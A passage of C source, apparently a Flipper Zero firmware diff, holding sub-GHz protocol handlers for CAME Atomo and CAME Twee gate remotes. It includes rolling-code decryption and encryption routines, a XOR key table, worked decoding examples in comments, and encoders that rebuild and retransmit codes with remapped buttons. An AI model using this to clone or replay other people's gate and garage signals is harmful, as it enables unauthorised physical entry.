if(flipper_format_read_uint32(flipper_format, "CounterMode", &tmp_counter_mode, 1)) {
came_atomo_counter_mode = (uint8_t)tmp_counter_mode;
} else {
came_atomo_counter_mode = 0;
}
subghz_protocol_came_atomo_remote_controller(&instance->generic);
subghz_protocol_encoder_came_atomo_get_upload(instance, instance->generic.btn);
if(!flipper_format_rewind(flipper_format)) {
FURI_LOG_E(TAG, "Rewind error");
break;
}
uint8_t key_data[sizeof(uint64_t)] = {0};
for(size_t i = 0; i < sizeof(uint64_t); i++) {
key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> i * 8) & 0xFF;
}
if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
FURI_LOG_E(TAG, "Unable to add Key");
break;
}
instance->encoder.is_running = true;
res = SubGhzProtocolStatusOk;
} while(false);
return res;
}
void subghz_protocol_encoder_came_atomo_stop(void* context) {
SubGhzProtocolEncoderCameAtomo* instance = context;
instance->encoder.is_running = false;
}
LevelDuration subghz_protocol_encoder_came_atomo_yield(void* context) {
SubGhzProtocolEncoderCameAtomo* instance = context;
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
instance->encoder.is_running = false;
return level_duration_reset();
}
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
if(++instance->encoder.front == instance->encoder.size_upload) {
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
instance->encoder.front = 0;
}
return ret;
}
void* subghz_protocol_decoder_came_atomo_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolDecoderCameAtomo* instance = malloc(sizeof(SubGhzProtocolDecoderCameAtomo));
instance->base.protocol = &subghz_protocol_came_atomo;
instance->generic.protocol_name = instance->base.protocol->name;
return instance;
}
void subghz_protocol_decoder_came_atomo_free(void* context) {
furi_assert(context);
SubGhzProtocolDecoderCameAtomo* instance = context;
free(instance);
}
void subghz_protocol_decoder_came_atomo_reset(void* context) {
furi_assert(context);
SubGhzProtocolDecoderCameAtomo* instance = context;
instance->decoder.parser_step = CameAtomoDecoderStepReset;
manchester_advance(
instance->manchester_saved_state,
ManchesterEventReset,
&instance->manchester_saved_state,
NULL);
}
void subghz_protocol_decoder_came_atomo_feed(void* context, bool level, uint32_t duration) {
furi_assert(context);
SubGhzProtocolDecoderCameAtomo* instance = context;
ManchesterEvent event = ManchesterEventReset;
switch(instance->decoder.parser_step) {
case CameAtomoDecoderStepReset:
// There are two known options for the header: 72K us (TOP42R, TOP44R) or 12k us (found on TOP44RBN)
if((!level) && ((DURATION_DIFF(duration, subghz_protocol_came_atomo_const.te_long * 10) <
subghz_protocol_came_atomo_const.te_delta * 20) ||
(DURATION_DIFF(duration, subghz_protocol_came_atomo_const.te_long * 60) <
subghz_protocol_came_atomo_const.te_delta * 40))) {
//Found header CAME
instance->decoder.parser_step = CameAtomoDecoderStepDecoderData;
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 1;
manchester_advance(
instance->manchester_saved_state,
ManchesterEventReset,
&instance->manchester_saved_state,
NULL);
manchester_advance(
instance->manchester_saved_state,
ManchesterEventShortLow,
&instance->manchester_saved_state,
NULL);
}
break;
case CameAtomoDecoderStepDecoderData:
if(!level) {
if(DURATION_DIFF(duration, subghz_protocol_came_atomo_const.te_short) <
subghz_protocol_came_atomo_const.te_delta) {
event = ManchesterEventShortLow;
} else if(
DURATION_DIFF(duration, subghz_protocol_came_atomo_const.te_long) <
subghz_protocol_came_atomo_const.te_delta) {
event = ManchesterEventLongLow;
} else if(
duration >= ((uint32_t)subghz_protocol_came_atomo_const.te_long * 2 +
subghz_protocol_came_atomo_const.te_delta)) {
if(instance->decoder.decode_count_bit ==
subghz_protocol_came_atomo_const.min_count_bit_for_found) {
instance->generic.data = instance->decoder.decode_data;
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
if(instance->base.callback)
instance->base.callback(&instance->base, instance->base.context);
}
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 1;
manchester_advance(
instance->manchester_saved_state,
ManchesterEventReset,
&instance->manchester_saved_state,
NULL);
manchester_advance(
instance->manchester_saved_state,
ManchesterEventShortLow,
&instance->manchester_saved_state,
NULL);
} else {
instance->decoder.parser_step = CameAtomoDecoderStepReset;
}
} else {
if(DURATION_DIFF(duration, subghz_protocol_came_atomo_const.te_short) <
subghz_protocol_came_atomo_const.te_delta) {
event = ManchesterEventShortHigh;
} else if(
DURATION_DIFF(duration, subghz_protocol_came_atomo_const.te_long) <
subghz_protocol_came_atomo_const.te_delta) {
event = ManchesterEventLongHigh;
} else {
instance->decoder.parser_step = CameAtomoDecoderStepReset;
}
}
if(event != ManchesterEventReset) {
bool data;
bool data_ok = manchester_advance(
instance->manchester_saved_state, event, &instance->manchester_saved_state, &data);
if(data_ok) {
instance->decoder.decode_data = (instance->decoder.decode_data << 1) | !data;
instance->decoder.decode_count_bit++;
}
}
break;
}
}
/**
* Analysis of received data
* @param instance Pointer to a SubGhzBlockGeneric* instance
* @param file_name Full path to rainbow table the file
*/
static void subghz_protocol_came_atomo_remote_controller(SubGhzBlockGeneric* instance) {
/*
* ***SkorP ver.***
* 0x1fafef3ed0f7d9ef
* 0x185fcc1531ee86e7
* 0x184fa96912c567ff
* 0x187f8a42f3dc38f7
* 0x186f63915492a5cd
* 0x181f40bab58bfac5
* 0x180f25c696a01bdd
* 0x183f06ed77b944d5
* 0x182ef661d83d21a9
* 0x18ded54a39247ea1
* 0x18ceb0361a0f9fb9
* 0x18fe931dfb16c0b1
* 0x18ee7ace5c585d8b
* ........
* transmission consists of 99 parcels with increasing counter while holding down the button
* with each new press, the counter in the encrypted part increases
*
* 0x1FAFF13ED0F7D9EF
* 0x1FAFF11ED0F7D9EF
* 0x1FAFF10ED0F7D9EF
* 0x1FAFF0FED0F7D9EF
* 0x1FAFF0EED0F7D9EF
* 0x1FAFF0DED0F7D9EF
* 0x1FAFF0CED0F7D9EF
* 0x1FAFF0BED0F7D9EF
* 0x1FAFF0AED0F7D9EF
*
* where 0x1FAF - parcel counter, 0хF0A - button press counter,
* 0xED0F7D9E - serial number, 0хF - key
* 0x1FAF parcel counter - 1 in the parcel queue ^ 0x185F = 0x07F0
* 0x185f ^ 0x185F = 0x0000
* 0x184f ^ 0x185F = 0x0010
* 0x187f ^ 0x185F = 0x0020
* .....
* 0x182e ^ 0x185F = 0x0071
* 0x18de ^ 0x185F = 0x0081
* .....
* 0x1e43 ^ 0x185F = 0x061C
* where the last nibble is incremented every 8 samples
*
* Decode
*
* 0x1cf6931dfb16c0b1 => 0x1cf6
* 0x1cf6 ^ 0x185F = 0x04A9
* 0x04A9 => 0x04A = 74 (dec)
* 74+1 % 32(atomo_magic_xor) = 11
* GET atomo_magic_xor[11] = 0xXXXXXXXXXXXXXXXX
* 0x931dfb16c0b1 ^ 0xXXXXXXXXXXXXXXXX = 0xEF3ED0F7D9EF
* 0xEF3 ED0F7D9E F => 0xEF3 - CNT, 0xED0F7D9E - SN, 0xF - key
*
* ***Actual***
* Button hold-cycle counter (8-bit, from 0 to 0x7F) should DO full cycle or half cycle keeping values like zero
* 0x1FF08D9924984115 - received data
* 0x00F7266DB67BEEA0 - inverted data
* 0x0501FD0000A08300 - decrypted data,
* where: 0x05 - Button hold-cycle counter (8-bit, from 0 to 0x7F)
* 0x01FD - Parcel counter (normal 16-bit counter)
* 0x0000A083 - Serial number (32-bit)
* 0x0 - Button code (4-bit, 0x0 - #1 left-up; 0x2 - #2 right-up; 0x4 - #3 left-down; 0x6 - #4 right-down)
* 0x0 - Last zero nibble
* */
instance->data ^= 0xFFFFFFFFFFFFFFFF;
instance->data <<= 4;
uint8_t pack[8] = {};
pack[0] = (instance->data >> 56);
pack[1] = ((instance->data >> 48) & 0xFF);
pack[2] = ((instance->data >> 40) & 0xFF);
pack[3] = ((instance->data >> 32) & 0xFF);
pack[4] = ((instance->data >> 24) & 0xFF);
pack[5] = ((instance->data >> 16) & 0xFF);
pack[6] = ((instance->data >> 8) & 0xFF);
pack[7] = (instance->data & 0xFF);
atomo_decrypt(pack);
instance->cnt_2 = pack[0];
instance->cnt = (uint16_t)pack[1] << 8 | pack[2];
instance->serial = (uint32_t)(pack[3]) << 24 | pack[4] << 16 | pack[5] << 8 | pack[6];
uint8_t btn_decode = (pack[7] >> 4);
if(btn_decode == 0x0) {
instance->btn = 0x1;
} else if(btn_decode == 0x2) {
instance->btn = 0x2;
} else if(btn_decode == 0x4) {
instance->btn = 0x3;
} else if(btn_decode == 0x6) {
instance->btn = 0x4;
}
uint32_t hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3];
uint32_t lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7];
instance->data_2 = (uint64_t)hi << 32 | lo;
// Save original button for later use
if(subghz_custom_btn_get_original() == 0) {
// subghz_custom_btn_set_original(instance->btn);
}
// subghz_custom_btn_set_max(3);
}
void atomo_encrypt(uint8_t* buff) {
uint8_t tmpB = (~buff[0] + 1) & 0x7F;
uint8_t bitCnt = 8;
while(bitCnt < 59) {
if((tmpB & 0x18) && (((tmpB / 8) & 3) != 3)) {
tmpB = ((tmpB << 1) & 0xFF) | 1;
} else {
tmpB = (tmpB << 1) & 0xFF;
}
if(tmpB & 0x80) {
buff[bitCnt / 8] ^= (0x80 >> (bitCnt & 7));
}
bitCnt++;
}
buff[0] = (buff[0] ^ 5) & 0x7F;
}
void atomo_decrypt(uint8_t* buff) {
buff[0] = (buff[0] ^ 5) & 0x7F;
uint8_t tmpB = (-buff[0]) & 0x7F;
uint8_t bitCnt = 8;
while(bitCnt < 59) {
if((tmpB & 0x18) && (((tmpB / 8) & 3) != 3)) {
tmpB = ((tmpB << 1) & 0xFF) | 1;
} else {
tmpB = (tmpB << 1) & 0xFF;
}
if(tmpB & 0x80) {
buff[bitCnt / 8] ^= (0x80 >> (bitCnt & 7));
}
bitCnt++;
}
}
static uint8_t subghz_protocol_came_atomo_get_btn_code(void) {
uint8_t custom_btn_id = subghz_custom_btn_get();
uint8_t original_btn_code = subghz_custom_btn_get_original();
uint8_t btn = original_btn_code;
// Set custom button
if((custom_btn_id == SUBGHZ_CUSTOM_BTN_OK) && (original_btn_code != 0)) {
// Restore original button code
btn = original_btn_code;
} else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_UP) {
switch(original_btn_code) {
case 0x1:
btn = 0x2;
break;
case 0x2:
btn = 0x1;
break;
case 0x3:
btn = 0x1;
break;
case 0x4:
btn = 0x1;
break;
default:
break;
}
} else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_DOWN) {
switch(original_btn_code) {
case 0x1:
btn = 0x3;
break;
case 0x2:
btn = 0x3;
break;
case 0x3:
btn = 0x2;
break;
case 0x4:
btn = 0x2;
break;
default:
break;
}
} else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_LEFT) {
switch(original_btn_code) {
case 0x1:
btn = 0x4;
break;
case 0x2:
btn = 0x4;
break;
case 0x3:
btn = 0x4;
break;
case 0x4:
btn = 0x3;
break;
default:
break;
}
}
return btn;
}
uint8_t subghz_protocol_decoder_came_atomo_get_hash_data(void* context) {
furi_assert(context);
SubGhzProtocolDecoderCameAtomo* instance = context;
return subghz_protocol_blocks_get_hash_data(
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
}
SubGhzProtocolStatus subghz_protocol_decoder_came_atomo_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset) {
furi_assert(context);
SubGhzProtocolDecoderCameAtomo* instance = context;
return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
}
SubGhzProtocolStatus
subghz_protocol_decoder_came_atomo_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolDecoderCameAtomo* instance = context;
SubGhzProtocolStatus status = SubGhzProtocolStatusOk;
status = subghz_block_generic_deserialize(&instance->generic, flipper_format);
if(status != SubGhzProtocolStatusOk) {
FURI_LOG_E(TAG, "Deserialize error");
return status;
}
if(instance->generic.data_count_bit !=
subghz_protocol_came_atomo_const.min_count_bit_for_found) {
FURI_LOG_E(TAG, "Wrong number of bits in key");
return SubGhzProtocolStatusErrorValueBitCount;
}
if(!flipper_format_rewind(flipper_format)) {
FURI_LOG_E(TAG, "Rewind error");
return SubGhzProtocolStatusError;
}
uint32_t tmp_counter_mode;
if(flipper_format_read_uint32(flipper_format, "CounterMode", &tmp_counter_mode, 1)) {
came_atomo_counter_mode = (uint8_t)tmp_counter_mode;
} else {
came_atomo_counter_mode = 0;
}
return status;
}
void subghz_protocol_decoder_came_atomo_get_string(void* context, FuriString* output) {
furi_assert(context);
SubGhzProtocolDecoderCameAtomo* instance = context;
subghz_protocol_came_atomo_remote_controller(&instance->generic);
uint32_t code_found_hi = instance->generic.data >> 32;
uint32_t code_found_lo = instance->generic.data & 0x00000000ffffffff;
// push protocol data to global variable
subghz_block_generic_global.cnt_is_available = true;
subghz_block_generic_global.cnt_length_bit = 16;
subghz_block_generic_global.current_cnt = instance->generic.cnt;
subghz_block_generic_global.btn_is_available = true;
subghz_block_generic_global.current_btn = instance->generic.btn;
subghz_block_generic_global.btn_length_bit = 4;
//
furi_string_cat_printf(
output,
"%s %db\r\n"
"Key:%08lX%08lX\r\n"
"Sn:0x%08lX Btn:%01X\r\n"
"Cnt:%04lX\r\n"
"Btn_Cnt:0x%02X",
instance->generic.protocol_name,
instance->generic.data_count_bit,
code_found_hi,
code_found_lo,
instance->generic.serial,
instance->generic.btn,
instance->generic.cnt,
instance->generic.cnt_2);
}
@@ -0,0 +1,112 @@
#pragma once
#include "base.h"
#define SUBGHZ_PROTOCOL_CAME_ATOMO_NAME "CAME Atomo"
typedef struct SubGhzProtocolDecoderCameAtomo SubGhzProtocolDecoderCameAtomo;
typedef struct SubGhzProtocolEncoderCameAtomo SubGhzProtocolEncoderCameAtomo;
extern const SubGhzProtocolDecoder subghz_protocol_came_atomo_decoder;
extern const SubGhzProtocolEncoder subghz_protocol_came_atomo_encoder;
extern const SubGhzProtocol subghz_protocol_came_atomo;
void atomo_decrypt(uint8_t* buff);
void atomo_encrypt(uint8_t* buff);
/**
* Allocate SubGhzProtocolEncoderCameAtomo.
* @param environment Pointer to a SubGhzEnvironment instance
* @return SubGhzProtocolEncoderCameAtomo* pointer to a SubGhzProtocolEncoderCameAtomo instance
*/
void* subghz_protocol_encoder_came_atomo_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolEncoderCameAtomo.
* @param context Pointer to a SubGhzProtocolEncoderCameAtomo instance
*/
void subghz_protocol_encoder_came_atomo_free(void* context);
/**
* Deserialize and generating an upload to send.
* @param context Pointer to a SubGhzProtocolEncoderCameAtomo instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return true On success
*/
SubGhzProtocolStatus
subghz_protocol_encoder_came_atomo_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Forced transmission stop.
* @param context Pointer to a SubGhzProtocolEncoderCameAtomo instance
*/
void subghz_protocol_encoder_came_atomo_stop(void* context);
/**
* Getting the level and duration of the upload to be loaded into DMA.
* @param context Pointer to a SubGhzProtocolEncoderCameAtomo instance
* @return LevelDuration
*/
LevelDuration subghz_protocol_encoder_came_atomo_yield(void* context);
/**
* Allocate SubGhzProtocolDecoderCameAtomo.
* @param environment Pointer to a SubGhzEnvironment instance
* @return SubGhzProtocolDecoderCameAtomo* pointer to a SubGhzProtocolDecoderCameAtomo instance
*/
void* subghz_protocol_decoder_came_atomo_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolDecoderCameAtomo.
* @param context Pointer to a SubGhzProtocolDecoderCameAtomo instance
*/
void subghz_protocol_decoder_came_atomo_free(void* context);
/**
* Reset decoder SubGhzProtocolDecoderCameAtomo.
* @param context Pointer to a SubGhzProtocolDecoderCameAtomo instance
*/
void subghz_protocol_decoder_came_atomo_reset(void* context);
/**
* Parse a raw sequence of levels and durations received from the air.
* @param context Pointer to a SubGhzProtocolDecoderCameAtomo instance
* @param level Signal level true-high false-low
* @param duration Duration of this level in, us
*/
void subghz_protocol_decoder_came_atomo_feed(void* context, bool level, uint32_t duration);
/**
* Getting the hash sum of the last randomly received parcel.
* @param context Pointer to a SubGhzProtocolDecoderCameAtomo instance
* @return hash Hash sum
*/
uint8_t subghz_protocol_decoder_came_atomo_get_hash_data(void* context);
/**
* Serialize data SubGhzProtocolDecoderCameAtomo.
* @param context Pointer to a SubGhzProtocolDecoderCameAtomo instance
* @param flipper_format Pointer to a FlipperFormat instance
* @param preset The modulation on which the signal was received, SubGhzRadioPreset
* @return status
*/
SubGhzProtocolStatus subghz_protocol_decoder_came_atomo_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset);
/**
* Deserialize data SubGhzProtocolDecoderCameAtomo.
* @param context Pointer to a SubGhzProtocolDecoderCameAtomo instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return status
*/
SubGhzProtocolStatus
subghz_protocol_decoder_came_atomo_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Getting a textual representation of the received data.
* @param context Pointer to a SubGhzProtocolDecoderCameAtomo instance
* @param output Resulting text
*/
void subghz_protocol_decoder_came_atomo_get_string(void* context, FuriString* output);
@@ -0,0 +1,465 @@
#include "came_twee.h"
#include <lib/toolbox/manchester_decoder.h>
#include <lib/toolbox/manchester_encoder.h>
#include <lib/subghz/blocks/const.h>
#include <lib/subghz/blocks/decoder.h>
#include <lib/subghz/blocks/encoder.h>
#include <lib/subghz/blocks/generic.h>
#include <lib/subghz/blocks/math.h>
/*
* Help
* https://phreakerclub.com/forum/showthread.php?t=635&highlight=came+twin
*
*/
#define TAG "SubGhzProtocolCameTwee"
#define DIP_PATTERN "%c%c%c%c%c%c%c%c%c%c"
#define CNT_TO_DIP(dip) \
(dip & 0x0200 ? '1' : '0'), (dip & 0x0100 ? '1' : '0'), (dip & 0x0080 ? '1' : '0'), \
(dip & 0x0040 ? '1' : '0'), (dip & 0x0020 ? '1' : '0'), (dip & 0x0010 ? '1' : '0'), \
(dip & 0x0008 ? '1' : '0'), (dip & 0x0004 ? '1' : '0'), (dip & 0x0002 ? '1' : '0'), \
(dip & 0x0001 ? '1' : '0')
/**
* Rainbow table Came Twee.
*/
static const uint32_t came_twee_magic_numbers_xor[15] = {
0x0E0E0E00,
0x1D1D1D11,
0x2C2C2C22,
0x3B3B3B33,
0x4A4A4A44,
0x59595955,
0x68686866,
0x77777777,
0x86868688,
0x95959599,
0xA4A4A4AA,
0xB3B3B3BB,
0xC2C2C2CC,
0xD1D1D1DD,
0xE0E0E0EE,
};
static const SubGhzBlockConst subghz_protocol_came_twee_const = {
.te_short = 500,
.te_long = 1000,
.te_delta = 250,
.min_count_bit_for_found = 54,
};
struct SubGhzProtocolDecoderCameTwee {
SubGhzProtocolDecoderBase base;
SubGhzBlockDecoder decoder;
SubGhzBlockGeneric generic;
ManchesterState manchester_saved_state;
};
struct SubGhzProtocolEncoderCameTwee {
SubGhzProtocolEncoderBase base;
SubGhzProtocolBlockEncoder encoder;
SubGhzBlockGeneric generic;
};
typedef enum {
CameTweeDecoderStepReset = 0,
CameTweeDecoderStepDecoderData,
} CameTweeDecoderStep;
const SubGhzProtocolDecoder subghz_protocol_came_twee_decoder = {
.alloc = subghz_protocol_decoder_came_twee_alloc,
.free = subghz_protocol_decoder_came_twee_free,
.feed = subghz_protocol_decoder_came_twee_feed,
.reset = subghz_protocol_decoder_came_twee_reset,
.get_hash_data = subghz_protocol_decoder_came_twee_get_hash_data,
.serialize = subghz_protocol_decoder_came_twee_serialize,
.deserialize = subghz_protocol_decoder_came_twee_deserialize,
.get_string = subghz_protocol_decoder_came_twee_get_string,
};
const SubGhzProtocolEncoder subghz_protocol_came_twee_encoder = {
.alloc = subghz_protocol_encoder_came_twee_alloc,
.free = subghz_protocol_encoder_came_twee_free,
.deserialize = subghz_protocol_encoder_came_twee_deserialize,
.stop = subghz_protocol_encoder_came_twee_stop,
.yield = subghz_protocol_encoder_came_twee_yield,
};
const SubGhzProtocol subghz_protocol_came_twee = {
.name = SUBGHZ_PROTOCOL_CAME_TWEE_NAME,
.type = SubGhzProtocolTypeStatic,
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
.decoder = &subghz_protocol_came_twee_decoder,
.encoder = &subghz_protocol_came_twee_encoder,
};
void* subghz_protocol_encoder_came_twee_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolEncoderCameTwee* instance = malloc(sizeof(SubGhzProtocolEncoderCameTwee));
instance->base.protocol = &subghz_protocol_came_twee;
instance->generic.protocol_name = instance->base.protocol->name;
instance->encoder.repeat = 3;
instance->encoder.size_upload = 1536; // 1308
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
instance->encoder.is_running = false;
return instance;
}
void subghz_protocol_encoder_came_twee_free(void* context) {
furi_assert(context);
SubGhzProtocolEncoderCameTwee* instance = context;
free(instance->encoder.upload);
free(instance);
}
static LevelDuration
subghz_protocol_encoder_came_twee_add_duration_to_upload(ManchesterEncoderResult result) {
LevelDuration data = {.duration = 0, .level = 0};
switch(result) {
case ManchesterEncoderResultShortLow:
data.duration = subghz_protocol_came_twee_const.te_short;
data.level = false;
break;
case ManchesterEncoderResultLongLow:
data.duration = subghz_protocol_came_twee_const.te_long;
data.level = false;
break;
case ManchesterEncoderResultLongHigh:
data.duration = subghz_protocol_came_twee_const.te_long;
data.level = true;
break;
case ManchesterEncoderResultShortHigh:
data.duration = subghz_protocol_came_twee_const.te_short;
data.level = true;
break;
default:
furi_crash("SubGhz: ManchesterEncoderResult is incorrect.");
break;
}
return level_duration_make(data.level, data.duration);
}
/**
* Generating an upload from data.
* @param instance Pointer to a SubGhzProtocolEncoderCameTwee instance
*/
static void subghz_protocol_encoder_came_twee_get_upload(SubGhzProtocolEncoderCameTwee* instance) {
furi_assert(instance);
size_t index = 0;
ManchesterEncoderState enc_state;
manchester_encoder_reset(&enc_state);
ManchesterEncoderResult result;
uint64_t temp_parcel = 0x003FFF7200000000; //parcel mask
for(int i = 14; i >= 0; i--) {
temp_parcel = (temp_parcel & 0xFFFFFFFF00000000) |
(instance->generic.serial ^ came_twee_magic_numbers_xor[i]);
for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
if(!manchester_encoder_advance(&enc_state, !bit_read(temp_parcel, i - 1), &result)) {
instance->encoder.upload[index++] =
subghz_protocol_encoder_came_twee_add_duration_to_upload(result);
manchester_encoder_advance(&enc_state, !bit_read(temp_parcel, i - 1), &result);
}
instance->encoder.upload[index++] =
subghz_protocol_encoder_came_twee_add_duration_to_upload(result);
}
instance->encoder.upload[index] = subghz_protocol_encoder_came_twee_add_duration_to_upload(
manchester_encoder_finish(&enc_state));
if(level_duration_get_level(instance->encoder.upload[index])) {
index++;
}
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_came_twee_const.te_long * 51);
}
instance->encoder.size_upload = index;
}
/**
* Analysis of received data
* @param instance Pointer to a SubGhzBlockGeneric* instance
*/
static void subghz_protocol_came_twee_remote_controller(SubGhzBlockGeneric* instance) {
/* Came Twee 54 bit, rolling code 15 parcels with
* a decreasing counter from 0xE to 0x0
* with originally coded dip switches on the console 10 bit code
*
* 0x003FFF72E04A6FEE
* 0x003FFF72D17B5EDD
* 0x003FFF72C2684DCC
* 0x003FFF72B3193CBB
* 0x003FFF72A40E2BAA
* 0x003FFF72953F1A99
* 0x003FFF72862C0988
* 0x003FFF7277DDF877
* 0x003FFF7268C2E766
* 0x003FFF7259F3D655
* 0x003FFF724AE0C544
* 0x003FFF723B91B433
* 0x003FFF722C86A322
* 0x003FFF721DB79211
* 0x003FFF720EA48100
*
* decryption
* the last 32 bits, do XOR by the desired number, divide the result by 4,
* convert the first 16 bits of the resulting 32-bit number to bin and do
* bit-by-bit mirroring, adding up to 10 bits
*
* Example
* Step 1. 0x003FFF721DB79211 => 0x1DB79211
* Step 4. 0x1DB79211 xor 0x1D1D1D11 => 0x00AA8F00
* Step 4. 0x00AA8F00 / 4 => 0x002AA3C0
* Step 5. 0x002AA3C0 => 0x002A
* Step 6. 0x002A bin => b101010
* Step 7. b101010 => b0101010000
* Step 8. b0101010000 => (Dip) Off ON Off ON Off ON Off Off Off Off
*/
uint8_t cnt_parcel = (uint8_t)(instance->data & 0xF);
uint32_t data = (uint32_t)(instance->data & 0x0FFFFFFFF);
data = (data ^ came_twee_magic_numbers_xor[cnt_parcel]);
instance->serial = data;
data /= 4;
instance->btn = (data >> 4) & 0x0F;
data >>= 16;
data = (uint16_t)subghz_protocol_blocks_reverse_key(data, 16);
instance->cnt = data >> 6;
}
SubGhzProtocolStatus
subghz_protocol_encoder_came_twee_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolEncoderCameTwee* instance = context;
SubGhzProtocolStatus res = SubGhzProtocolStatusError;
do {
res = subghz_block_generic_deserialize_check_count_bit(
&instance->generic,
flipper_format,
subghz_protocol_came_twee_const.min_count_bit_for_found);
if(res != SubGhzProtocolStatusOk) {
break;
}
// Optional value
flipper_format_read_uint32(
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
subghz_protocol_came_twee_remote_controller(&instance->generic);
subghz_protocol_encoder_came_twee_get_upload(instance);
instance->encoder.front = 0; // reset position before start
instance->encoder.is_running = true;
} while(false);
return res;
}
void subghz_protocol_encoder_came_twee_stop(void* context) {
SubGhzProtocolEncoderCameTwee* instance = context;
instance->encoder.is_running = false;
instance->encoder.front = 0; // reset position
}
LevelDuration subghz_protocol_encoder_came_twee_yield(void* context) {
SubGhzProtocolEncoderCameTwee* instance = context;
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
instance->encoder.is_running = false;
return level_duration_reset();
}
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
if(++instance->encoder.front == instance->encoder.size_upload) {
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
instance->encoder.front = 0;
}
return ret;
}
void* subghz_protocol_decoder_came_twee_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolDecoderCameTwee* instance = malloc(sizeof(SubGhzProtocolDecoderCameTwee));
instance->base.protocol = &subghz_protocol_came_twee;
instance->generic.protocol_name = instance->base.protocol->name;
return instance;
}
void subghz_protocol_decoder_came_twee_free(void* context) {
furi_assert(context);
SubGhzProtocolDecoderCameTwee* instance = context;
free(instance);
}
void subghz_protocol_decoder_came_twee_reset(void* context) {
furi_assert(context);
SubGhzProtocolDecoderCameTwee* instance = context;
instance->decoder.parser_step = CameTweeDecoderStepReset;
manchester_advance(
instance->manchester_saved_state,
ManchesterEventReset,
&instance->manchester_saved_state,
NULL);
}
void subghz_protocol_decoder_came_twee_feed(void* context, bool level, uint32_t duration) {
furi_assert(context);
SubGhzProtocolDecoderCameTwee* instance = context;
ManchesterEvent event = ManchesterEventReset;
switch(instance->decoder.parser_step) {
case CameTweeDecoderStepReset:
if((!level) && (DURATION_DIFF(duration, subghz_protocol_came_twee_const.te_long * 51) <
subghz_protocol_came_twee_const.te_delta * 20)) {
//Found header CAME
instance->decoder.parser_step = CameTweeDecoderStepDecoderData;
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
manchester_advance(
instance->manchester_saved_state,
ManchesterEventLongLow,
&instance->manchester_saved_state,
NULL);
manchester_advance(
instance->manchester_saved_state,
ManchesterEventLongHigh,
&instance->manchester_saved_state,
NULL);
manchester_advance(
instance->manchester_saved_state,
ManchesterEventShortLow,
&instance->manchester_saved_state,
NULL);
}
break;
case CameTweeDecoderStepDecoderData:
if(!level) {
if(DURATION_DIFF(duration, subghz_protocol_came_twee_const.te_short) <
subghz_protocol_came_twee_const.te_delta) {
event = ManchesterEventShortLow;
} else if(
DURATION_DIFF(duration, subghz_protocol_came_twee_const.te_long) <
subghz_protocol_came_twee_const.te_delta) {
event = ManchesterEventLongLow;
} else if(
duration >= ((uint32_t)subghz_protocol_came_twee_const.te_long * 2 +
subghz_protocol_came_twee_const.te_delta)) {
if(instance->decoder.decode_count_bit ==
subghz_protocol_came_twee_const.min_count_bit_for_found) {
instance->generic.data = instance->decoder.decode_data;
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
if(instance->base.callback)
instance->base.callback(&instance->base, instance->base.context);
}
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
manchester_advance(
instance->manchester_saved_state,
ManchesterEventLongLow,
&instance->manchester_saved_state,
NULL);
manchester_advance(
instance->manchester_saved_state,
ManchesterEventLongHigh,
&instance->manchester_saved_state,
NULL);
manchester_advance(
instance->manchester_saved_state,
ManchesterEventShortLow,
&instance->manchester_saved_state,
NULL);
} else {
instance->decoder.parser_step = CameTweeDecoderStepReset;
}
} else {
if(DURATION_DIFF(duration, subghz_protocol_came_twee_const.te_short) <
subghz_protocol_came_twee_const.te_delta) {
event = ManchesterEventShortHigh;
} else if(
DURATION_DIFF(duration, subghz_protocol_came_twee_const.te_long) <
subghz_protocol_came_twee_const.te_delta) {
event = ManchesterEventLongHigh;
} else {
instance->decoder.parser_step = CameTweeDecoderStepReset;
}
}
if(event != ManchesterEventReset) {
bool data;
bool data_ok = manchester_advance(
instance->manchester_saved_state, event, &instance->manchester_saved_state, &data);
if(data_ok) {
instance->decoder.decode_data = (instance->decoder.decode_data << 1) | !data;
instance->decoder.decode_count_bit++;
}
}
break;
}
}
uint8_t subghz_protocol_decoder_came_twee_get_hash_data(void* context) {
furi_assert(context);
SubGhzProtocolDecoderCameTwee* instance = context;
